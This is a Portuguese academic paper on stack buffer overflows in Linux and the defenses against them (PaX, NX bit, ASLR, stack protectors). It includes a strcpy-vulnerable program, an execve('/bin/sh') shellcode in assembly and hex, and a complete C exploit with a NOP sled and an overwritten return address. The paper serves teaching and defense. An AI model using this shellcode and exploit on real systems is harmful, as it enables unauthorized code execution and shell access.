Buffer Overflow e Mecanismos de Defesa



Documentos relacionados
Aprender como explorar uma falha dessa categoria

Evolução dos Processadores

Usando emacs, vim e gdb. Um guia BEM básico

UNIVERSIDADE FEDERAL DO RIO GRANDE DO SUL INSTITUTO DE INFORMÁTICA INFORMÁTICA APLICADA

IFPE. Disciplina: Sistemas Operacionais. Prof. Anderson Luiz Moreira

How to write Shellcodes por Luiz Fernando Camargo

CAPÍTULO 7 NÍVEL DE LINGUAGEM DE MONTAGEM

INTRODUÇÃO BUFFER OVERFLOWS

Conceitos de Sistemas Operacionais: Chamadas de Sistema. Prof Rafael J. Sandim

Introdução à Arquitetura e Linguagem Assembly de Processadores IA-32

Orientação a Objetos

Rodrigo Rubira Branco

ARQUITETURA DE COMPUTADORES INTRODUÇÃO

COMO FUNCIONAM OS EXPLOITS

Experimentos com a memória cache do CPU

Sistemas Operacionais. Prof. André Y. Kusumoto

MC404 - Organização de Computadores. e Linguagem de Montagem Instituto de Computação. Universidade Estadual de Campinas

SISTEMAS OPERATIVOS I

Nemesiz Security Group The Underground For Brazilians Hackers Integer Array Overflow (Explorando Integer Array Overflow)

Capacidade = 512 x 300 x x 2 x 5 = ,72 GB

Introdução a Java. Hélder Nunes

Arquitetura de Rede de Computadores

SISTEMAS OPERACIONAIS

Prof. Marcos Ribeiro Quinet de Andrade Universidade Federal Fluminense - UFF Pólo Universitário de Rio das Ostras - PURO

Vetores. Vetores. Figura 1 Exemplo de vetor com 10 elementos

Figura 01 Kernel de um Sistema Operacional

SEGURANÇA COM OPENBSD / Congresso de Tecnologia FATEC-SP AS2MWPC - Qualificação e Assessoria em Tecnologia de Informação Pedro Moura

PROGRAMAÇÃO ESTRUTURADA. CC 2º Período

Tutorial de Auxílio. figura 1.0 programa de gravação

FACULDADE PITÁGORAS DISCIPLINA: ARQUITETURA DE COMPUTADORES

Memória Flash. PdP. Autor: Tiago Lone Nível: Básico Criação: 11/12/2005 Última versão: 18/12/2006. Pesquisa e Desenvolvimento de Produtos

Prevenindo e solucionando ataques de Buffer Overflow

PROJETO LÓGICO DE COMPUTADORES Prof. Ricardo Rodrigues Barcelar

Gerenciador de Boot Simples

NOTAS DE AULA Prof. Antonio Carlos Schneider Beck Filho (UFSM) Prof. Júlio Carlos Balzano de Mattos (UFPel) Arquitetura de Von Neumann

A memória é um recurso fundamental e de extrema importância para a operação de qualquer Sistema Computacional; A memória trata-se de uma grande

Estrutura da linguagem de programação C Prof. Tiago Eugenio de Melo tiago@comunidadesol.org

Curso de Instalação e Gestão de Redes Informáticas

Arquitetura de Computadores. Tipos de Instruções

Sistemas Operacionais

Introdução a Programação. Ponteiros e Strings, Alocação Dinâmica

Um processo sob UNIX ocupa uma área de memória formada basicamente por 3 partes:

Notas da Aula 17 - Fundamentos de Sistemas Operacionais

Linguagem de Montagem 2. Operações e Operandos

UNIVERSIDADE FEDERAL DE PELOTAS

Software Básico. Conceito de Linguagem de Máquina e Montagem: introdução ao Assembly. Prof. MSc. Hugo Vieira L. Souza

Sistemas Operacionais. Prof. M.Sc. Sérgio Teixeira. Aula 05 Estrutura e arquitetura do SO Parte 1. Cursos de Computação

Análises Geração RI (representação intermediária) Código Intermediário

Arquitetura de Computadores. Prof. João Bosco Jr.

SO - Conceitos Básicos. Introdução ao Computador 2010/01 Renan Manola

Assembly na arquitetura IA-32 com NASM no Linux

Manual de instalação e utilização do software de decriptografia GnuPG (Gnu Pricavy Guard)

Tabela de Símbolos. Análise Semântica A Tabela de Símbolos. Principais Operações. Estrutura da Tabela de Símbolos. Declarações 11/6/2008

Introdução aos Computadores

Sistemas Operacionais e Introdução à Programação. Programação com linguagem C

CAPÍTULO 2 CARACTERÍSTICAS DE E/S E PORTA PARALELA

3 Introdução às chamadas ao sistema

Dadas a base e a altura de um triangulo, determinar sua área.

Tipos de Dados, Tipos Abstratos de Dados Estruturas de Dados

5 - Vetores e Matrizes Linguagem C CAPÍTULO 5 VETORES E MATRIZES

Algoritmos e Programação Estruturada

Firewall. Qual a utilidade em instalar um firewall pessoal?

PROGRAMAÇÃO ESTRUTURADA. CC 2º Período

Operador de Computador. Informática Básica

MC-102 Aula 01. Instituto de Computação Unicamp

Universidade Federal de Santa Maria Curso de Arquivologia. Disciplina de Banco de Dados Aplicados à Arquivística. Versao 1.

Sistemas Operacionais. Prof. André Y. Kusumoto

Computadores de Programação (MAB353)

Tipos de sistemas operacionais

Programação Engenharia Informática (11543) 1º ano, 1º semestre Tecnologias e Sistemas de Informação (6619) 1º ano, 1º semestre

E.E.E.P. Dr. Solon Tavares Sistemas Operacionais Prof. Henrique Cordeiro. Programação Concorrente em Linux

Conjunto de instruções do CPU. Arquitectura de um computador. Definição das instruções (1) Definição das instruções (2)

SISTEMAS OPERACIONAIS CAPÍTULO 3 CONCORRÊNCIA

Nível da Arquitetura do Conjunto das Instruções

Software. LMP Wizard. Manual do usuário MAN-PT-DE-LMPWizard-01.01_12

1. SINTAXE DA LINGUAGEM ASSEMBLY

Introdução a Informática. Prof.: Roberto Franciscatto

Visão Geral de Sistemas Operacionais

Nota de Aula: Utilização da IDE Code::Blocks

28/3/2011. Família Intel 80x86. Arquitetura dos Processadores Intel 80x86

Projeto 1 - Bootloader

Estrutura de Dados. Introdução a Ponteiros. Prof. Gerson Borges Estrutura de Dados I 1

4 Estrutura do Sistema Operacional Kernel

REPRESENTAÇÃO DE DADOS EM SISTEMAS DE COMPUTAÇÃO AULA 03 Arquitetura de Computadores Gil Eduardo de Andrade

Computação II Orientação a Objetos

Ambiente de desenvolvimento de Programação Assembly MCU 8051 IDE

Sistema de Arquivos FAT

Programando em Assembly

SEGURANÇA DO WINDOWS Análise sobre as APIs. Por: Fergo

O hardware é a parte física do computador, como o processador, memória, placamãe, entre outras. Figura 2.1 Sistema Computacional Hardware

Curso Técnico em Redes

BARRAMENTO DO SISTEMA

Básico, Ferramentas e o Primeiro Programa em Qt

Transcrição:

Buffer Overflow e Mecanismos de Defesa Alex Van Margraf Especialização em Redes e Segurança de Sistemas Pontifícia Universidade Católica do Paraná Curitiba, fevereiro de 2013 Resumo Este artigo é o resultado de um estudo realizado para compreender o funcionamento de um ataque que anos após sua descoberta desperta curiosidade e certa preocupação. O trabalho introduz o conceito por trás das vulnerabilidades deixadas por programas mal projetados que podem dar origem ao ataque de buffer overflow, mais especificamente os ataques em estruturas de pilha na chamada de função em ambiente linux. Ao abordar o assunto se fez necessário explicar os mecanismos de exploração (tais como exploits e shellcodes) e os mecanismos de defesa (alguns já implantados no kernel do Linux) que fazem com que a exploração de buffer overflow tenha um custo razoavelmente alto. 1 - Introdução O primeiro documento detalhado sobre a técnica de stackoverflow foi escrito pelo hacker Aleph One 3 intitulado Smashing The Stack For Fun And Profit e publicado na revista eletrônica phrack edição 49 de 08/11/1996. Aleph One faz um estudo muito didático de como se conseguia um ataque de stack overflow. Com o passar do tempo esta documentação tem ficado obsoleta, pois diversos mecanismos de proteção foram criados. Para o entendimento desse mecanismo de ataque é necessário conhecimento em: assembly, organização de computadores e programação. Explanada de uma maneira superficial a técnica consiste em substituir na memória o endereço de retorno da função para apontar para outra posição na memória que contenha o código injetado, a substituição do endereço de retorno ocorre quando uma quantidade de dados maior que a capacidade declarada é adicionada em um buffer. Isso faz com que estruturas importantes do processo sejam sobrepostas, por exemplo, o endereço de retorno da função que ao ser sobrescrita com o endereço de outra posição da memória, poderá apontar para um código cuidadosamente elaborado e se aproveitando da execução do programa. 2 Estruturas do Processo Um programa em execução é composto por um ou mais processos, esses processos são divididos na memória em cinco regiões: Texto, dados, bss, heap e pilha [2]. A área de texto permite somente leitura e armazena as instruções do programa. Qualquer tentativa de gravar informações na área de texto resulta em falha de segmentação. O segmento de dados e bss são utilizados para armazenar variáveis estáticas e globais. A região de heap é de tamanho variável e é usada quando são usadas funções alocadoras, por exemplo, a função malloc do C. A pilha possui tamanho variável, armazena variáveis locais da função, parâmetros da função e valores de retorno da função, possui a característica de crescer no sentido inverso da memória em direção à parte baixa. A Pilha é uma estrutura do tipo LIFO (o primeiro a entrar será o ultimo a sair). O registro SP é usado para manter o endereço do topo da pilha, que constantemente muda à medida que os itens são inseridos ou retirados [2].

Quando o programa principal chama uma função ocorre um desvio de processamento para a função, então o código da função estará sendo executado em outra posição da memória e ao terminar a sua execução a função deve retornar o controle para a próxima instrução, após aquela que lhe deu origem. 3 Assembly Para manipular o comportamento do programa vulnerável é necessário o uso de ferramentas de debug e descompiladores como o GDB e objdump no Linux. Após descompilar um programa o resultado será um código em assembly. Operações assembly na sintaxe Intel seguem modelo: operação <destino>, <origem>, sendo que a origem ou o destino podem ser um registrador, um endereço de memória ou um valor. mov EAX, 0x01 mov EBX, 0x00 int 80h Códigos em assembly possuem muitas operações com registradores, alguns desses registradores são usados como acumuladores: eax (accumulator), ecx (counter), edx (data), ebx (base), outros registradores como: esp (stack pointer), ebp (base pointer), esi (source index), edi (destination index), eip (instrution pointer) responsável por apontar para a instrução que esta sendo executada. 4 - Processos em Memória Quando uma função é chamada, o sistema operacional cria uma região chamada pilha (stack), que irá armazenar as informações para a execução da função. Analisando o código abaixo extraído do artigo de Aleph One [3]: void funct_buf(int a, int b, int c){ char buffer1[5]; char buffer2[10]; void main() { funct_buf(1,2,3); Quando o ponteiro de instrução EIP apontar para a chamada da função funct_buf em main, os três parâmetros da função serão empurrados para a pilha em ordem reversa, seguido pelo endereço de retorno da função, que será responsável por indicar ao processo como retornar a execução no ponto onde foi desviado.

Pilha cresce Endereço de memória cresce Pilha cresce 0x00000000000 SP Retorno 0x00000000 000 Parâmetro 3 Parâmetro 2 Parâmetro 1 Pilha SP SP 2 Contexto da Função funct_buf 1 Retorno Parâmetro 3 Parâmetro 2 Parâmetro 1 Prolog pushl %ebp movl %esp,%ebp subl $n,%esp BP Endereço de memória Main() BP Contexto da Função Main Main() 0xFFFFFFFFFF Figura 1: processo antes do prolog 0xFFFFFFFFFF Figura 2: procedimento de prolog Na chamada da função é realizada primeiramente uma rotina chamada prolog, que prepara a pilha para receber as variáveis da função, conforme observado nas figuras 1 e 2. Inicialmente o BP está apontando para uma posição no contexto principal, em seguida o prolog copia o valor do SP (stack pointer) para o BP, e finalmente o SP é movido para obter espaço para variáveis internas, a figura 2 ilustra esse processo. Epilog é nome dado ao processo contrario onde o SP retorna a posição original. 5 Descobrindo a Falha A maioria das vulnerabilidades de buffer overflow acontece devido a erros do programador, quando ele não verificava com antecedência os limites do buffer ao utilizá-lo. Nas primeiras versões o GCC também não verificava os limites dos espaços alocados ao se inserir um valor no buffer. Um exemplo de código vulnerável pode ser visto abaixo: #include <stdio.h> #include <string.h> int main( int argc, char **argv ) { char buf[5]; strcpy( buf, arg[1] ); return 0; A função strcpy deixa o código acima vulnerável, pois ela não faz uma verificação no tamanho do buffer antes de copiar os valores para ele. Hoje o GCC alerta sobre este tipo de vulnerabilidade quando compila o código. Para fazer um teste pode ser desativada a proteção do GCC sobre a pilha (-fno-stackprotector). O comando abaixo demonstra isso: alvm@alvm-desktop:~$ gcc -fno-stack-protector -mpreferredstack-boundary=2 -O0 -g -o test teste.c

O esperado seria que o programa apresentasse falha de segmentação quando inserido o sexto valor (lembrando que o buffer tem um tamanho de cinco), mas a falha ocorre quando se sobrescreve estruturas críticas do programa além do tamanho do buffer. alvm@alvm-desktop:~$ alvm@alvm-desktop:~$ alvm@alvm-desktop:~$./teste AAAAA alvm@alvm-desktop:~$./teste AAAAAA alvm@alvm-desktop:~$./teste AAAAAAA alvm@alvm-desktop:~$./teste AAAAAAAA alvm@alvm-desktop:~$./teste AAAAAAAAA Falha de segmentação Usando o GDB para o debug e o comando r AAAAAAAAAAAA para passar o parâmetro para o programa. alvm@alvm-desktop:~$ gdb -q teste Lendo símbolos de /home/alvm/teste...concluído. (gdb) r AAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/alvm/teste AAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x00414141 in?? () Usando o comando i r eip para ver o valor no registrador eip. O resultado é o endereço de retorno substituído pelo 0x41 valor hexadecimal de A. (gdb) i r eip eip 0x414141 0x414141 6 Shellcode / Payload É o código elaborado para ser injetado dentro do espaço de memória de um programa vulnerável, com o objetivo de obter o controle sobre o fluxo de execução do programa. Os shellcodes são códigos (object code) que o processador interpreta de forma nativa. Uma característica na elaboração dos shellcodes é a preocupação em eliminar os chamados bad chars, um exemplo de um bad char é o byte nulo (0x00), este caractere na maioria dos sistemas significa fim de texto, quando uma função está lendo uma entrada e encontra este caractere a leitura é encerrada. Os shellcodes interagem com o sistema operacional através de chamadas de sistema (syscalls). Em assembly para executar uma chamada de sistema é preciso seguir alguns passos: 1 - O registrador EAX deve receber o valor da syscall. 2 - Os demais registradores (EBX, ECX, EDX, ESI, EDI, EPB) ficam a disposição para receber os parâmetros da syscall. 3 - Executar a instrução int 0x80 (modo kernel); Para exemplificar a montagem de um shellcode temos um código em C logo abaixo: #include <stdio.h> void main() { char *nome[2];

nome[0] = "/bin/sh"; nome[1] = NULL; execve(nome[0], nome, NULL); Para elaborar um shellcode do programa acima temos que usar a função disassemble do GDB. $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 1 <main>: pushl %ebp 2 <main+1>: movl %esp,%ebp #Prelude 3 <main+3>: subl $0x8,%esp 4 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) #nome[0] = "/bin/sh"; 5 <main+13>: movl $0x0,0xfffffffc(%ebp) #nome[1] = NULL; 6 <main+20>: pushl $0x0 #inserindo parametro na pilha em ordem inversa (NULL) 7 <main+22>: leal 0xfffffff8(%ebp),%eax #carrega nome[] para eax 8 <main+25>: pushl %eax #coloca endereço de nome na pilha 9 <main+26>: movl 0xfffffff8(%ebp),%eax #coloca endereço de nome[0] em eax 10 <main+29>: pushl %eax #coloca eax na pilha 11 <main+30>: call 0x80002bc < execve> #chama execve() 12 <main+35>: addl $0xc,%esp 13 <main+38>: movl %ebp,%esp 14 <main+40>: popl %ebp 15 <main+41>: ret End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 16 < execve>: pushl %ebp 17 < execve+1>: movl %esp,%ebp #Prelude 18 < execve+3>: pushl %ebx 19 < execve+4>: movl $0xb,%eax # copia syscall 11 em hexa(0xb) para pilha 20 < execve+9>: movl 0x8(%ebp),%ebx # copia /bin/sh em EBX 21 < execve+12>: movl 0xc(%ebp),%ecx #copia endereço nome[]em ECX 22 < execve+15>: movl 0x10(%ebp),%edx #copia endereço null pointer em EDX 23 < execve+18>: int $0x80 #executa instrução 24 < execve+20>: movl %eax,%edx

25 < execve+22>: testl %edx,%edx 26 < execve+24>: jnl 0x80002e6 < execve+42> 27 < execve+26>: negl %edx 28 < execve+28>: pushl %edx 29 < execve+29>: call 0x8001a34 < normal_errno_location> 30 < execve+34>: popl %edx 31 < execve+35>: movl %edx,(%eax) 32 < execve+37>: movl $0xffffffff,%eax 33 < execve+42>: popl %ebx 34 < execve+43>: movl %ebp,%esp 35 < execve+45>: popl %ebp 36 < execve+46>: ret 37 < execve+47>: nop End of assembler dump. Olhando para as instruções é possível enumerar os passos a serem seguidos: a) Ter uma string /bin/sh na memória. b) Ter o endereço da string /bin/sh. c) Copiar execve - syscall 11 que em hexa fica 0xB no registrador EAX. d) Copiar o endereço da string /bin/sh no registrador EBX. e) Copiar o endereço da string /bin/sh no registrador ECX. f) Copiar o endereço de NULL para o registrador EDX. g) Executar a instrução int $0x80. É preciso finalizar a execução de maneira confiável, sendo necessário usar a syscall exit da seguinte forma: h) Copiar 0x1 no registrador EAX (syscall 1 que em hexadecimal fica 0x1). i) Copiar 0x0 no registrador EBX (insere zero como parâmetro da syscall exit, para sinalizar sucesso). j) Executar a instrução int $0x80. Não se sabe onde na memória o shellcode estará alocado. Uma maneira de contornar isso é usar JMP. A instrução JMP permite saltar para um label que contenha uma chamada CALL, a chamada CALL irá colocar a próxima instrução na pilha como se fosse o endereço de retorno da chamada, mas o que ele acaba colocando na pilha é uma string. Um template básico pode ser visto abaixo: jmp two one: pop ebx [application code] two: call one db 'string' Uma versão modificada do shellcode em assemble ficaria assim: jmp two one: popl %esi movl %esi,0x8(%esi)

movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal null-offset(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 two: call one db '/bin/sh' Após montar o shellcode em assembly é preciso transformá-lo em object code, que são caracteres diretamente interpretados pelo processador. Depois de compilar o programa.asm e linkedita-lo, será extraído os object codes com o utilitário objdump. $ nasm -f elf shellcode.asm $ ld o shellcode shellcode.o $ objdump d shellcode Após a eliminação dos bad chars e a concatenação dos object codes em uma string o resultado será um código parecido com o abaixo: "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x 0b\x89\" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"; 7 - Explorando a Falha O objetivo ao explorar um buffer é fazer com que o processador execute instruções injetadas no programa em execução. Tomando como exemplo o programa abaixo para elaborar um exploit: // overflow.c #include <stdio.h> void mostra_string(char *s) { char buffer[64]; strcpy(buffer, s); //função vulneravel printf("string: %s\n", buffer); int main(int argc, char *argv[]) { mostra_string(argv[1]); return 0;

Executando o código acima e forçando a falha:./overflow `perl -e 'print "A" x 2000'` Descobrindo o endereço de retorno: gdb./overflow core GNU gdb 2002-04-01-cvs Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux". Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaa'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in?? () (gdb) info register esp esp 0xbffff334 0xbffff334 O programa acima não verifica o tamanho da string que esta sendo copiada para o buffer na função strcpy. Um exploit de buffer overflow forçará o estouro do buffer, injetando uma cadeia de caracteres previamente elaborada chamada shellcode ou payload. Um exemplo de exploit para o programa overflow.c pode ser visto abaixo: //exploit #include <stdlib.h> static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89 \" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"; #define NOP 0x90 //instrução de maquina para um valor sem operação #define LEN 1024+8 #define RET 0xbffff334 int main() { char buffer[len]; int i; /* preenche o buffer com NOPs */ for (i=0;i<len;i++) buffer[i] = NOP; /* copia o shellcode para a posição inicial do buffer */

memcpy(&buffer[len-strlen(shellcode)-4],shellcode, strlen(shellcode)); /* copia para os 4 ultimos bytes o endereço de retorno */ *(int*)(&buffer[len-4]) = RET; /* executa o programa vulneravel e passa como parametro o buffer com o shellcode */ execlp("./overflow","./overflow",buffer,null); return 0; O programa acima declara uma variável shellcode que possui os bytecodes feitos a partir de código assembly para retornar um terminal shell. O programa declara um buffer de 1024 mais 8 bytes que representa o EBP e o endereço de retorno, sendo o buffer maior que o shellcode ele preenche o buffer com NOP s. NOP ao ser interpretado pelo processador é o mesmo que dizer para ele não fazer nada. O endereço de retorno é adicionado no final do buffer e em seguida será executado o programa overflow através da função C execlp, que além do nome do programa que será executado, também recebe o shellcode. O resultado será a execução do shellcode dentro do escopo de execução do programa vulnerável. 8 Mecanismos de Defesa PaX (Page-Exec) foi um projeto com objetivo de criar mecanismos para dificultar ao máximo as explorações que atacam endereços de memória vulneráveis. O PaX não se prende unicamente em impedir ataques de buffer overflow, mas contribui para que isso se torne uma tarefa mais difícil. Existem outros mecanismos de defesa que tratam exclusivamente de buffer overflow, como StackGuard e o Stack-Smaching Protector ( ProPolice SSP), ambos são melhorias de segurança para o compilador GCC. O StackGuard esteve presente até a versão 3.x do GCC e a partir da versão 4.1 o GCC passou a adotar o ProPolice. O Pax procura impedir alguns tipos de ataques entre eles: - Os que tentam executar código arbitrário, por exemplo, os shellcodes. - Os que tentam executar código fora da ordem pré-estabelecida, normalmente isso feito por ataque de retorno da função libc ou retlibc. O Pax fornece proteção contra execução em espaço de endereçamento não executável usando a funcionalidade do Bit NX. O objetivo do Bit NX é impedir que códigos sejam executados em áreas de memória não executável. Este recurso pode estar disponível por hardware nos processadores modernos. O termo Bit NX foi criado pela fabricante de processadores AMD e nos processadores intel foi chamado de bit XD, as duas funcionam da mesma maneira. Vários sistemas operacionais suportam o bit NX entre eles: Windows XP Service Pack 2 em diante, Linux a partir da versão 2.6.8 do kernel, e Mac OS X. A tecnologia bit NX usa o bit mais significativo da paginação da memória como flag, se o bit for zero, o código pode ser executado, se for um, o código não será executado naquela página. Bit NX é uma tecnologia disponível para processadores com núcleo de 64 bits. Em processadores que não suportam o Bit NX, por exemplo, as CPUs 32bits x86, neste mecanismo pode ser emulado pelo sistema operacional, mas tal técnica pode gerar um overhead quando comparado ao bit NX nativo no hardware.

O Pax especifica dois métodos de emulação: o SEGMEXEC e PAGEXEC, ambos são mecanismos que protegem áreas de memória não executável. Outra técnica de proteção muito importante, chamada Address Space Layout Randomization (ASLR), criada pelo PaX em 2000, sendo que este projeto originou um patch para o kernel do Linux que faz com que os segmentos de um processo sejam alocados de forma aleatória na memória. Sem o ASLR os segmentos eram mapeados nos mesmo endereços a cada execução. Mesmo com o ASLR ainda é possível explorar algumas brechas, o que o ASLR faz é aumentar significativamente o custo de uma exploração. Existem técnicas de ataque que exploraram segmentos de memória que o ASLR não protege, por exemplo, segmentos de dados, código e BBS. A técnica mais empregada na tentativa de passar pela proteção do ASLR é a de força bruta. Um projeto similar ao PaX chamado ExecShield foi desenvolvido pela Red Hat, este projeto deu origem a um patch, para emular a funcionalidade do bit nx. Uma das coisas que o ExecShield fazia era sinalizar a memória quanto a posições onde os dados não deveriam ser executados, tentando eliminar assim vulnerabilidades como estouro de buffer e shellcodes. O ExecShield fornecia algumas funcionalidades de ASLR para a chamada de sistema mmap(), responsável por alocar espaço de memória virtual para os processos em ambiente POSIX. O ExecShield contribuiu para a proteção do kernel com a randomização de espaços de endereçamento de memória e para o desenvolvimento do GCC stack-protector. O Grsecurity é outro grupo que fornece um path que incorpora as funcionalidades do PaX e alguns recursos adicionais, por exemplo, três níveis de segurança configuráveis: baixo, médio e alto. Dentro destes níveis de segurança é possível configurar algumas opções como: auditoria do kernel, proteção em nível de file system, controle baseado na função (RBAC), opções de proteção em nível de rede e as proteções do projeto PaX. 9 Conclusão Após dezessete anos do artigo de Aleph One, muita coisa mudou a respeito de segurança contra buffer overflow. Se formos seguir a documentação original, nas atuais distribuições Linux, não será possível repetir os resultados sem antes desabilitar alguns mecanismos de proteção, os quais na sua maioria foram expostos neste trabalho. Mesmo com os recursos de segurança existentes, novas técnicas de subversão acabam surgindo, nos fazendo lembrar de que não existe segurança garantida cem por cento. 10 Referências [1] KURTZ, George; MCCLURE, Stuart; SCAMBRAY, Joel. Hackers Expostos. 4ª Ed. Rio de Janeiro: Campus, 2003. [2] ERICKSON, Jon. Hacking. 1ª Ed. São Paulo: Digerati Books, 2009. [3] PHRACK MAGAZINE. Ed. 49. Disponível em: http://www.phrack.org/issues.html?issue=49&id=14#article. Acesso em: 02 de Nov. 2012. [4] MIKHALENKO, Peter. How Shellcode Work. Disponível em: http://linuxdevcenter.com/pub/a/linux/2006/05/18/how-shellcodes-work.html?page=1. Acesso em: 28 de Out. 2012.

[5] OLIVEIRA, Leandro. Hello World em Shellcode. Disponível em: http://blog.tempest.com.br/leandro-oliveira/hello-world-shellcode.html. Acesso em: 28 de Out. 2012. [6] MAKOWSKI, Paulo. Smashing the Stack in 2011. Disponível em: http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/. Acesso em: 06 de Ago. 2012. [7] HEFFNER, Craig J. Smashing The Modern Stack For Fun And Profit. Disponível em: http://www.ethicalhacker.net/content/view/122/2/. Acesso em: 15 de Ago. 2012. [5] DOCUMENTATION FOR THE PAX PROJECT. Disponível em: http://pax.grsecurity.net/docs/index.html. Acesso em: 10 de Jan. 2013.